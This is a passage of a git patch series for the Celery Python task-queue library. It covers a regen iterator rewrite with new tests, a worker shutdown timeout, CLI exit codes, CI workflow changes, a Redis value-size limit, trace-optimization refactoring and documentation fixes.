maybe_evaluate, maybe_list, memoize) @@ -182,6 +182,7 @@ def __init__(self, it): self.__it = it self.__index = 0 self.__consumed = [] + self.__done = False def __reduce__(self): return list, (self.data,) @@ -190,7 +191,13 @@ def __length_hint__(self): return self.__it.__length_hint__() def __iter__(self): - return chain(self.__consumed, self.__it) + for x in self.__consumed: + yield x + if not self.__done: + for x in self.__it: + self.__consumed.append(x) + yield x + self.__done = True def __getitem__(self, index): if index < 0: @@ -198,14 +205,26 @@ def __getitem__(self, index): try: return self.__consumed[index] except IndexError: + it = iter(self) try: for _ in range(self.__index, index + 1): - self.__consumed.append(next(self.__it)) + next(it) except StopIteration: raise IndexError(index) else: return self.__consumed[index] + def __bool__(self): + if len(self.__consumed): + return True + + try: + next(iter(self)) + except StopIteration: + return False + else: + return True + @property def data(self): try: diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 503b7476655..0eead299908 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -1,11 +1,10 @@ import pytest -from kombu.utils.functional import lazy - from celery.utils.functional import (DummyContext, first, firstmethod, fun_accepts_kwargs, fun_takes_argument, head_from_fun, maybe_list, mlazy, padlist, regen, seq_concat_item, seq_concat_seq) +from kombu.utils.functional import lazy def test_DummyContext(): @@ -94,8 +93,11 @@ def test_list(self): fun, args = r.__reduce__() assert fun(*args) == l - def test_gen(self): - g = regen(iter(list(range(10)))) + @pytest.fixture + def g(self): + return regen(iter(list(range(10)))) + + def test_gen(self, g): assert g[7] == 7 assert g[6] == 6 assert g[5] == 5 @@ -107,17 +109,19 @@ def test_gen(self): assert g.data, list(range(10)) assert g[8] == 8 assert g[0] == 0 - g = regen(iter(list(range(10)))) + + def test_gen__index_2(self, g): assert g[0] == 0 assert g[1] == 1 assert g.data == list(range(10)) - g = regen(iter([1])) - assert g[0] == 1 + + def test_gen__index_error(self, g): + assert g[0] == 0 with pytest.raises(IndexError): - g[1] - assert g.data == [1] + g[11] + assert list(iter(g)) == list(range(10)) - g = regen(iter(list(range(10)))) + def test_gen__negative_index(self, g): assert g[-1] == 9 assert g[-2] == 8 assert g[-3] == 7 @@ -128,6 +132,21 @@ def test_gen(self): assert list(iter(g)) == list(range(10)) + def test_nonzero__does_not_consume_more_than_first_item(self): + def build_generator(): + yield 1 + self.consumed_second_item = True + yield 2 + + self.consumed_second_item = False + g = regen(build_generator()) + assert bool(g) + assert g[0] == 1 + assert not self.consumed_second_item + + def test_nonzero__empty_iter(self): + assert not regen(iter([])) + class test_head_from_fun: From 86c3673c0a11190a7acdd49c1f4cb184395bb6dd Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 13 Jan 2021 10:01:02 +0200 Subject: [PATCH 129/415] Instead of yielding each item, yield from the entire consumed list first. --- celery/utils/functional.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index 68172cc2067..ab36e3d4c3d 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -191,8 +191,7 @@ def __length_hint__(self): return self.__it.__length_hint__() def __iter__(self): - for x in self.__consumed: - yield x + yield from self.__consumed if not self.__done: for x in self.__it: self.__consumed.append(x) From 3a61302efda8db58f9259a72844a93a4bc3be5d2 Mon Sep 17 00:00:00 2001 From: Jonathan Stoppani Date: Thu, 14 Jan 2021 09:48:20 +0100 Subject: [PATCH 130/415] Pytest worker shutdown timeout (#6588) * Raise an exception if the worker thread does not exit in 10s * Allow to override the worker shutdown timeout * Set daemon=True whens starting worker thread * Remove TODO --- celery/contrib/testing/worker.py | 13 +++++++++++-- docs/userguide/testing.rst | 5 +++++ 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/celery/contrib/testing/worker.py b/celery/contrib/testing/worker.py index 78cc5951fb8..16d2582897d 100644 --- a/celery/contrib/testing/worker.py +++ b/celery/contrib/testing/worker.py @@ -59,6 +59,7 @@ def start_worker( logfile=None, # type: str perform_ping_check=True, # type: bool ping_task_timeout=10.0, # type: float + shutdown_timeout=10.0, # type: float **kwargs # type: Any ): # type: (...) -> Iterable @@ -75,6 +76,7 @@ def start_worker( loglevel=loglevel, logfile=logfile, perform_ping_check=perform_ping_check, + shutdown_timeout=shutdown_timeout, **kwargs) as worker: if perform_ping_check: from .tasks import ping @@ -93,6 +95,7 @@ def _start_worker_thread(app, logfile=None, WorkController=TestWorkController, perform_ping_check=True, + shutdown_timeout=10.0, **kwargs): # type: (Celery, int, str, Union[str, int], str, Any, **Any) -> Iterable """Start Celery worker in a thread. @@ -121,7 +124,7 @@ def _start_worker_thread(app, without_gossip=True, **kwargs) - t = threading.Thread(target=worker.start) + t = threading.Thread(target=worker.start, daemon=True) t.start() worker.ensure_started() _set_task_join_will_block(False) @@ -130,7 +133,13 @@ def _start_worker_thread(app, from celery.worker import state state.should_terminate = 0 - t.join(10) + t.join(shutdown_timeout) + if t.is_alive(): + raise RuntimeError( + "Worker thread failed to exit within the allocated timeout. " + "Consider raising `shutdown_timeout` if your tasks take longer " + "to execute." + ) state.should_terminate = None diff --git a/docs/userguide/testing.rst b/docs/userguide/testing.rst index 1df28b21978..94389c30739 100644 --- a/docs/userguide/testing.rst +++ b/docs/userguide/testing.rst @@ -167,6 +167,11 @@ This fixture starts a Celery worker instance that you can use for integration tests. The worker will be started in a *separate thread* and will be shutdown as soon as the test returns. +By default the fixture will wait up to 10 seconds for the worker to complete +outstanding tasks and will raise an exception if the time limit is exceeded. +The timeout can be customized by setting the ``shutdown_timeout`` key in the +dictionary returned by the :func:`celery_worker_parameters` fixture. + Example: .. code-block:: python From 7161414b6332c88bd124316b7927ac8bb416f8b3 Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 15 Jan 2021 23:00:25 +0600 Subject: [PATCH 131/415] fix isort --- celery/backends/azureblockblob.py | 3 ++- t/integration/test_inspect.py | 4 ++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/celery/backends/azureblockblob.py b/celery/backends/azureblockblob.py index 93ff600a23d..81b15f6dec0 100644 --- a/celery/backends/azureblockblob.py +++ b/celery/backends/azureblockblob.py @@ -9,8 +9,9 @@ try: import azure.storage.blob as azurestorage + from azure.core.exceptions import (ResourceExistsError, + ResourceNotFoundError) from azure.storage.blob import BlobServiceClient - from azure.core.exceptions import ResourceExistsError, ResourceNotFoundError except ImportError: azurestorage = None diff --git a/t/integration/test_inspect.py b/t/integration/test_inspect.py index 49275622aa2..6070de483d2 100644 --- a/t/integration/test_inspect.py +++ b/t/integration/test_inspect.py @@ -1,14 +1,14 @@ import os import re from datetime import datetime, timedelta -from unittest.mock import ANY from time import sleep +from unittest.mock import ANY import pytest from celery.utils.nodenames import anon_nodename -from .tasks import sleeping, add +from .tasks import add, sleeping NODENAME = anon_nodename() From 17eda8de2de77616d950ddf2fc1ebec5b5c85a7e Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 19 Jan 2021 16:45:57 +0600 Subject: [PATCH 132/415] fix possible typo (#6606) --- docs/whatsnew-5.0.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/whatsnew-5.0.rst b/docs/whatsnew-5.0.rst index 7e38c924a13..d2e2df90e62 100644 --- a/docs/whatsnew-5.0.rst +++ b/docs/whatsnew-5.0.rst @@ -301,7 +301,7 @@ Celery 4.4.7 introduced an opt-in feature to make them ordered. It is now an opt-out behavior. If you were previously using the Redis result backend, you might need to -out-out of this behavior. +opt-out of this behavior. Please refer to the :ref:`documentation ` for instructions on how to disable this feature. From 2551162c02074921de4ddef89684e72590e9d396 Mon Sep 17 00:00:00 2001 From: tned73 Date: Tue, 19 Jan 2021 18:32:53 +0100 Subject: [PATCH 133/415] exit celery with non zero exit value if failing (#6602) --- celery/bin/control.py | 19 +++++++++++++------ celery/exceptions.py | 10 ++++++++++ 2 files changed, 23 insertions(+), 6 deletions(-) diff --git a/celery/bin/control.py b/celery/bin/control.py index 3fe8eb76b42..507c5ec8efb 100644 --- a/celery/bin/control.py +++ b/celery/bin/control.py @@ -6,6 +6,7 @@ from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption, handle_preload_options) +from celery.exceptions import CeleryCommandException from celery.platforms import EX_UNAVAILABLE from celery.utils import text from celery.worker.control import Panel @@ -81,8 +82,10 @@ def status(ctx, timeout, destination, json, **kwargs): callback=callback).ping() if not replies: - ctx.obj.echo('No nodes replied within time constraint') - return EX_UNAVAILABLE + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) if json: ctx.obj.echo(dumps(replies)) @@ -130,8 +133,10 @@ def inspect(ctx, action, timeout, destination, json, **kwargs): callback=callback)._request(action) if not replies: - ctx.obj.echo('No nodes replied within time constraint') - return EX_UNAVAILABLE + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) if json: ctx.obj.echo(dumps(replies)) @@ -184,8 +189,10 @@ def control(ctx, action, timeout, destination, json): arguments=arguments) if not replies: - ctx.obj.echo('No nodes replied within time constraint') - return EX_UNAVAILABLE + raise CeleryCommandException( + message='No nodes replied within time constraint', + exit_code=EX_UNAVAILABLE + ) if json: ctx.obj.echo(dumps(replies)) diff --git a/celery/exceptions.py b/celery/exceptions.py index 768cd4d22d2..5db3a803aef 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -54,6 +54,7 @@ from billiard.exceptions import (SoftTimeLimitExceeded, Terminated, TimeLimitExceeded, WorkerLostError) +from click import ClickException from kombu.exceptions import OperationalError __all__ = ( @@ -91,6 +92,8 @@ # Worker shutdown semi-predicates (inherits from SystemExit). 'WorkerShutdown', 'WorkerTerminate', + + 'CeleryCommandException', ) UNREGISTERED_FMT = """\ @@ -293,3 +296,10 @@ def __init__(self, *args, **kwargs): def __repr__(self): return super().__repr__() + " state:" + self.state + " task_id:" + self.task_id + + +class CeleryCommandException(ClickException): + + def __init__(self, message, exit_code): + super().__init__(message=message) + self.exit_code = exit_code From d465a84e26de9eea35c7d6f9438813f6787497e7 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Thu, 21 Jan 2021 00:47:03 +0600 Subject: [PATCH 134/415] Docs clean up (#6607) * update minimum supported django version to 1.11lts for celery 5.0.x docs * doc code cleanup * docs code cleanup * docs code cleanup * Update docs/django/first-steps-with-django.rst Co-authored-by: Omer Katz Co-authored-by: Omer Katz --- docs/django/first-steps-with-django.rst | 4 ++-- docs/internals/app-overview.rst | 2 +- docs/internals/guide.rst | 12 ++++++------ docs/internals/protocol.rst | 2 +- docs/userguide/application.rst | 6 +++--- docs/userguide/canvas.rst | 2 +- docs/userguide/configuration.rst | 2 +- docs/userguide/tasks.rst | 2 +- 8 files changed, 16 insertions(+), 16 deletions(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index f3a20b18a48..7a0727885e1 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -19,8 +19,8 @@ Using Celery with Django .. note:: - Celery 4.0 supports Django 1.8 and newer versions. Please use Celery 3.1 - for versions older than Django 1.8. + Celery 5.0.x supports Django 1.11 LTS or newer versions. Please use Celery 4.4.x + for versions older than Django 1.11. To use Celery with your Django project you must first define an instance of the Celery library (called an "app") diff --git a/docs/internals/app-overview.rst b/docs/internals/app-overview.rst index a46021e105b..3634a5f8060 100644 --- a/docs/internals/app-overview.rst +++ b/docs/internals/app-overview.rst @@ -176,7 +176,7 @@ is missing. from celery.app import app_or_default - class SomeClass(object): + class SomeClass: def __init__(self, app=None): self.app = app_or_default(app) diff --git a/docs/internals/guide.rst b/docs/internals/guide.rst index e7d600da275..731cacbaac4 100644 --- a/docs/internals/guide.rst +++ b/docs/internals/guide.rst @@ -53,10 +53,10 @@ Naming pass # - "action" class (verb) - class UpdateTwitterStatus(object): # BAD + class UpdateTwitterStatus: # BAD pass - class update_twitter_status(object): # GOOD + class update_twitter_status: # GOOD pass .. note:: @@ -71,7 +71,7 @@ Naming .. code-block:: python - class Celery(object): + class Celery: def consumer_factory(self): # BAD ... @@ -89,7 +89,7 @@ as this means that they can be set by either instantiation or inheritance. .. code-block:: python - class Producer(object): + class Producer: active = True serializer = 'json' @@ -130,7 +130,7 @@ the exception class from the instance directly. class Empty(Exception): pass - class Queue(object): + class Queue: Empty = Empty def get(self): @@ -157,7 +157,7 @@ saved us from many a monkey patch). .. code-block:: python - class Worker(object): + class Worker: Consumer = Consumer def __init__(self, connection, consumer_cls=None): diff --git a/docs/internals/protocol.rst b/docs/internals/protocol.rst index 196077213c8..ce4794be83d 100644 --- a/docs/internals/protocol.rst +++ b/docs/internals/protocol.rst @@ -168,7 +168,7 @@ Changes from version 1 def apply_async(self, args, kwargs, **options): fun, real_args = self.unpack_args(*args) - return super(PickleTask, self).apply_async( + return super().apply_async( (fun, real_args, kwargs), shadow=qualname(fun), **options ) diff --git a/docs/userguide/application.rst b/docs/userguide/application.rst index 6ec6c7f8f89..4fb6c665e39 100644 --- a/docs/userguide/application.rst +++ b/docs/userguide/application.rst @@ -400,7 +400,7 @@ The following example is considered bad practice: from celery import current_app - class Scheduler(object): + class Scheduler: def run(self): app = current_app @@ -409,7 +409,7 @@ Instead it should take the ``app`` as an argument: .. code-block:: python - class Scheduler(object): + class Scheduler: def __init__(self, app): self.app = app @@ -421,7 +421,7 @@ so that everything also works in the module-based compatibility API from celery.app import app_or_default - class Scheduler(object): + class Scheduler: def __init__(self, app=None): self.app = app_or_default(app) diff --git a/docs/userguide/canvas.rst b/docs/userguide/canvas.rst index 67c42ba583c..55811f2fbe0 100644 --- a/docs/userguide/canvas.rst +++ b/docs/userguide/canvas.rst @@ -951,7 +951,7 @@ implemented in other backends (suggestions welcome!). def after_return(self, *args, **kwargs): do_something() - super(MyTask, self).after_return(*args, **kwargs) + super().after_return(*args, **kwargs) .. _canvas-map: diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 7142cd6ac16..01e8b7784e7 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -317,7 +317,7 @@ instead of a dict to choose the tasks to annotate: .. code-block:: python - class MyAnnotate(object): + class MyAnnotate: def annotate(self, task): if task.name.startswith('tasks.'): diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index 58e4125cac9..d44e32dc0fb 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -359,7 +359,7 @@ may contain: def gen_task_name(self, name, module): if module.endswith('.tasks'): module = module[:-6] - return super(MyCelery, self).gen_task_name(name, module) + return super().gen_task_name(name, module) app = MyCelery('main') From 7a0c9f95c23c4878603f9e99fd749e588b0394df Mon Sep 17 00:00:00 2001 From: Kojo Idrissa Date: Wed, 20 Jan 2021 13:47:55 -0600 Subject: [PATCH 135/415] fixed typo in help command --- docs/getting-started/first-steps-with-celery.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/first-steps-with-celery.rst b/docs/getting-started/first-steps-with-celery.rst index aefaa4aa867..13bdc8cc429 100644 --- a/docs/getting-started/first-steps-with-celery.rst +++ b/docs/getting-started/first-steps-with-celery.rst @@ -181,7 +181,7 @@ There are also several other commands available, and help is also available: .. code-block:: console - $ celery help + $ celery --help .. _`supervisord`: http://supervisord.org From 43a692524ca0f4792ee5bcc67764a659a90cde35 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Fri, 22 Jan 2021 22:52:51 +0600 Subject: [PATCH 136/415] [poc] - celery unit tests with pytest & github action & some minor tweak in test to make them pass (#6587) * add initial tox-docker blocks * add initial tox-docker blocks * modify tox-docker blocks * use pytest & github actions matrix to run unit tests instead of tox * manually install test requirements * manually install test requirements * change timeout=3.0 to pass test locally * drop tox-docker * Delete 14 * modify tox --- .github/workflows/python-package.yml | 15 +++++++++------ t/unit/backends/test_base.py | 2 +- t/unit/backends/test_redis.py | 2 +- tox.ini | 14 +++++++++----- 4 files changed, 20 insertions(+), 13 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index a52d663b107..dcde3494e78 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -12,7 +12,7 @@ on: jobs: build: - runs-on: ubuntu-latest + runs-on: ubuntu-20.04 strategy: fail-fast: false matrix: @@ -42,15 +42,18 @@ jobs: ${{ matrix.python-version }}-v1- - name: Install dependencies run: | - python -m pip install --upgrade pip tox tox-gh-actions - python -m pip install flake8 pytest + python -m pip install --upgrade pip + python -m pip install flake8 pytest case pytest-celery pytest-subtests pytest-timeout + python -m pip install moto boto3 msgpack PyYAML if [ -f requirements.txt ]; then pip install -r requirements.txt; fi + + - name: Run Unit test with pytest + run: | + pytest -xv t/unit + - name: Lint with flake8 run: | # stop the build if there are Python syntax errors or undefined names flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - - name: Run Tox - run: | - tox -v diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 6f54bdf37f1..c805cb10f03 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -796,7 +796,7 @@ def test_chord_part_return_timeout(self): self.b.expire.assert_not_called() deps.delete.assert_called_with() - deps.join_native.assert_called_with(propagate=True, timeout=4.0) + deps.join_native.assert_called_with(propagate=True, timeout=3.0) def test_chord_part_return_propagate_set(self): with self._chord_part_context(self.b) as (task, deps, _): diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 445a9bb10e7..bdf5d9180fd 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1025,7 +1025,7 @@ def test_on_chord_part_return_timeout(self, complex_header_result): self.app.conf.result_chord_join_timeout -= 1.0 join_func = complex_header_result.return_value.join_native - join_func.assert_called_once_with(timeout=4.0, propagate=True) + join_func.assert_called_once_with(timeout=3.0, propagate=True) @pytest.mark.parametrize("supports_native_join", (True, False)) def test_on_chord_part_return( diff --git a/tox.ini b/tox.ini index 2196d3d8d47..f62ea3cdff1 100644 --- a/tox.ini +++ b/tox.ini @@ -8,6 +8,7 @@ envlist = configcheck bandit + [gh-actions] python = 3.6: 3.6 @@ -17,6 +18,11 @@ python = pypy3: pypy3 [testenv] +sitepackages = False +recreate = False +passenv = + AZUREBLOCKBLOB_URL + deps= -r{toxinidir}/requirements/default.txt -r{toxinidir}/requirements/test.txt @@ -32,8 +38,7 @@ deps= linkcheck,apicheck,configcheck: -r{toxinidir}/requirements/docs.txt flake8: -r{toxinidir}/requirements/pkgutils.txt bandit: bandit -sitepackages = False -recreate = False + commands = unit: pytest -xv --cov=celery --cov-report=xml --cov-report term {posargs} integration: pytest -xsv t/integration {posargs} @@ -64,9 +69,7 @@ setenv = azureblockblob: TEST_BROKER=redis:// azureblockblob: TEST_BACKEND=azureblockblob://DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1; -passenv = - TRAVIS - AZUREBLOCKBLOB_URL + basepython = 3.6: python3.6 3.7: python3.7 @@ -76,6 +79,7 @@ basepython = flake8,apicheck,linkcheck,configcheck,bandit: python3.9 usedevelop = True + [testenv:apicheck] setenv = PYTHONHASHSEED = 100 From 29eda054555fa95c83210e5e6bc3e839c80bcd3b Mon Sep 17 00:00:00 2001 From: Matt Hoffman Date: Fri, 22 Jan 2021 15:58:18 -0500 Subject: [PATCH 137/415] fixes github action unit tests using PYTHONPATH Before the tests were importing from the latest release instead of loading from the files in this repository. --- .github/workflows/python-package.yml | 2 +- t/unit/backends/test_base.py | 2 +- t/unit/backends/test_redis.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index dcde3494e78..414522b8dc9 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -49,7 +49,7 @@ jobs: - name: Run Unit test with pytest run: | - pytest -xv t/unit + PYTHONPATH=. pytest -xv t/unit - name: Lint with flake8 run: | diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index c805cb10f03..6f54bdf37f1 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -796,7 +796,7 @@ def test_chord_part_return_timeout(self): self.b.expire.assert_not_called() deps.delete.assert_called_with() - deps.join_native.assert_called_with(propagate=True, timeout=3.0) + deps.join_native.assert_called_with(propagate=True, timeout=4.0) def test_chord_part_return_propagate_set(self): with self._chord_part_context(self.b) as (task, deps, _): diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index bdf5d9180fd..445a9bb10e7 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1025,7 +1025,7 @@ def test_on_chord_part_return_timeout(self, complex_header_result): self.app.conf.result_chord_join_timeout -= 1.0 join_func = complex_header_result.return_value.join_native - join_func.assert_called_once_with(timeout=3.0, propagate=True) + join_func.assert_called_once_with(timeout=4.0, propagate=True) @pytest.mark.parametrize("supports_native_join", (True, False)) def test_on_chord_part_return( From c7f2f141627de69645d1885b000b12def97152ec Mon Sep 17 00:00:00 2001 From: kosarchuksn Date: Tue, 1 Sep 2020 19:37:29 +0300 Subject: [PATCH 138/415] Update task retry docs --- docs/userguide/tasks.rst | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index d44e32dc0fb..935f15f92c2 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -805,13 +805,13 @@ via options documented below. .. versionadded:: 4.4 -You can also set `autoretry_for`, `retry_kwargs`, `retry_backoff`, `retry_backoff_max` and `retry_jitter` options in class-based tasks: +You can also set `autoretry_for`, `max_retries`, `retry_backoff`, `retry_backoff_max` and `retry_jitter` options in class-based tasks: .. code-block:: python class BaseTaskWithRetry(Task): autoretry_for = (TypeError,) - retry_kwargs = {'max_retries': 5} + max_retries = 5 retry_backoff = True retry_backoff_max = 700 retry_jitter = False @@ -822,12 +822,10 @@ You can also set `autoretry_for`, `retry_kwargs`, `retry_backoff`, `retry_backof during the execution of the task, the task will automatically be retried. By default, no exceptions will be autoretried. -.. attribute:: Task.retry_kwargs +.. attribute:: Task.max_retries - A dictionary. Use this to customize how autoretries are executed. - Note that if you use the exponential backoff options below, the `countdown` - task option will be determined by Celery's autoretry system, and any - `countdown` included in this dictionary will be ignored. + A number. Maximum number of retries before giving up. A value of ``None`` + means task will retry forever. .. attribute:: Task.retry_backoff From 023afc1aabe899b189a45499aa469afa39222736 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pavol=20Plasko=C5=88?= Date: Wed, 16 Dec 2020 13:49:13 +0100 Subject: [PATCH 139/415] Fix a typo in a docstring. --- celery/exceptions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/exceptions.py b/celery/exceptions.py index 5db3a803aef..66b3ca2a341 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -288,7 +288,7 @@ def __repr__(self): class BackendStoreError(BackendError): - """An issue writing from the backend.""" + """An issue writing to the backend.""" def __init__(self, *args, **kwargs): self.state = kwargs.get('state', "") From dd607c623eddd30633d10579be454d48bcbea9bd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pavol=20Plasko=C5=88?= Date: Sat, 6 Feb 2021 11:39:06 +0100 Subject: [PATCH 140/415] Raise BackendStoreError when set value is too large for Redis. See #6533 for details. --- celery/backends/base.py | 6 +++++- celery/backends/redis.py | 9 ++++++++- t/unit/backends/test_redis.py | 6 +++++- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 22fe0c79cb9..b18f40887e2 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -853,7 +853,11 @@ def _store_result(self, task_id, result, state, if current_meta['status'] == states.SUCCESS: return result - self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state) + try: + self._set_with_state(self.get_key_for_task(task_id), self.encode(meta), state) + except BackendStoreError as ex: + raise BackendStoreError(str(ex), state=state, task_id=task_id) from ex + return result def _save_group(self, group_id, result): diff --git a/celery/backends/redis.py b/celery/backends/redis.py index e767de05c58..a0d392d9527 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -12,7 +12,7 @@ from celery import states from celery._state import task_join_will_block from celery.canvas import maybe_signature -from celery.exceptions import ChordError, ImproperlyConfigured +from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured from celery.result import GroupResult, allow_join_result from celery.utils.functional import dictfilter from celery.utils.log import get_logger @@ -192,6 +192,10 @@ class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): supports_autoexpire = True supports_native_join = True + #: Maximal length of string value in Redis. + #: 512 MB - https://redis.io/topics/data-types + _MAX_STR_VALUE_SIZE = 536870912 + def __init__(self, host=None, port=None, db=None, password=None, max_connections=None, url=None, connection_pool=None, **kwargs): @@ -364,6 +368,9 @@ def on_connection_error(self, max_retries, exc, intervals, retries): return tts def set(self, key, value, **retry_policy): + if len(value) > self._MAX_STR_VALUE_SIZE: + raise BackendStoreError('value too large for Redis backend') + return self.ensure(self._set, (key, value), **retry_policy) def _set(self, key, value): diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 445a9bb10e7..23580fa3dfb 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -12,7 +12,7 @@ from celery import signature, states, uuid from celery.canvas import Signature -from celery.exceptions import ChordError, ImproperlyConfigured +from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured from celery.utils.collections import AttributeDict @@ -675,6 +675,10 @@ def test_set_expires(self): key, 512, ) + def test_set_raises_error_on_large_value(self): + with pytest.raises(BackendStoreError): + self.b.set('key', 'x' * (self.b._MAX_STR_VALUE_SIZE + 1)) + class test_RedisBackend_chords_simple(basetest_RedisBackend): @pytest.fixture(scope="class", autouse=True) From 4d71dd8ac1eb9db3e9299a366c11d0e125e6631a Mon Sep 17 00:00:00 2001 From: Anatoliy Date: Sun, 7 Feb 2021 00:00:33 +0300 Subject: [PATCH 141/415] Update extra/supervisord/celeryd.conf line 18 Adding compatibility with celery 5.0.6 which have different worker 'run' command --- extra/supervisord/celeryd.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/supervisord/celeryd.conf b/extra/supervisord/celeryd.conf index 2668ccb4c17..90254f7d4cd 100644 --- a/extra/supervisord/celeryd.conf +++ b/extra/supervisord/celeryd.conf @@ -15,7 +15,7 @@ autorestart=true startsecs=10 ; Set full path to celery program if using virtualenv -command=celery worker -A proj --loglevel=INFO +command=celery -A proj worker --loglevel=INFO ; Alternatively, ;command=celery --app=your_app.celery:app worker --loglevel=INFO -n worker.%%h From b37182855fab80a356ff41a2153c72c00cf045d9 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Thu, 14 Jan 2021 23:26:05 +0100 Subject: [PATCH 142/415] Trace task optimizations are now set via Celery app instance --- celery/app/base.py | 4 +++ celery/app/trace.py | 16 ++++------- celery/worker/request.py | 12 +++++--- celery/worker/strategy.py | 2 +- t/unit/tasks/test_trace.py | 2 +- t/unit/worker/test_request.py | 52 +++++++++++++++++++++++++++++++---- 6 files changed, 66 insertions(+), 22 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index 27e5b610ca7..d833fc1e0e6 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -302,6 +302,10 @@ def __init__(self, main=None, loader=None, backend=None, self.on_after_finalize = Signal(name='app.on_after_finalize') self.on_after_fork = Signal(name='app.on_after_fork') + # Boolean signalling, whether fast_trace_task are enabled. + # this attribute is set in celery.worker.trace and checked by celery.worker.request + self.use_fast_trace_task = False + self.on_init() _register_app(self) diff --git a/celery/app/trace.py b/celery/app/trace.py index f9b8c83e6e6..28273250d92 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -606,6 +606,8 @@ def _fast_trace_task(task, uuid, request, body, content_type, ) return (1, R, T) if I else (0, Rstr, T) +fast_trace_task = _fast_trace_task # noqa: E305 + def report_internal_error(task, exc): _type, _value, _tb = sys.exc_info() @@ -622,8 +624,6 @@ def report_internal_error(task, exc): def setup_worker_optimizations(app, hostname=None): """Setup worker related optimizations.""" - global trace_task_ret - hostname = hostname or gethostname() # make sure custom Task.__call__ methods that calls super @@ -649,16 +649,11 @@ def setup_worker_optimizations(app, hostname=None): hostname, ] - trace_task_ret = _fast_trace_task - from celery.worker import request as request_module - request_module.trace_task_ret = _fast_trace_task - request_module.__optimize__() + app.use_fast_trace_task = True -def reset_worker_optimizations(): +def reset_worker_optimizations(app): """Reset previously configured optimizations.""" - global trace_task_ret - trace_task_ret = _trace_task_ret try: delattr(BaseTask, '_stackprotected') except AttributeError: @@ -667,8 +662,7 @@ def reset_worker_optimizations(): BaseTask.__call__ = _patched.pop('BaseTask.__call__') except KeyError: pass - from celery.worker import request as request_module - request_module.trace_task_ret = _trace_task_ret + app.use_fast_trace_task = False def _install_stack_protection(): diff --git a/celery/worker/request.py b/celery/worker/request.py index 81c3387d98a..71ed7192137 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -15,7 +15,7 @@ from celery import signals from celery.app.task import Context -from celery.app.trace import trace_task, trace_task_ret +from celery.app.trace import 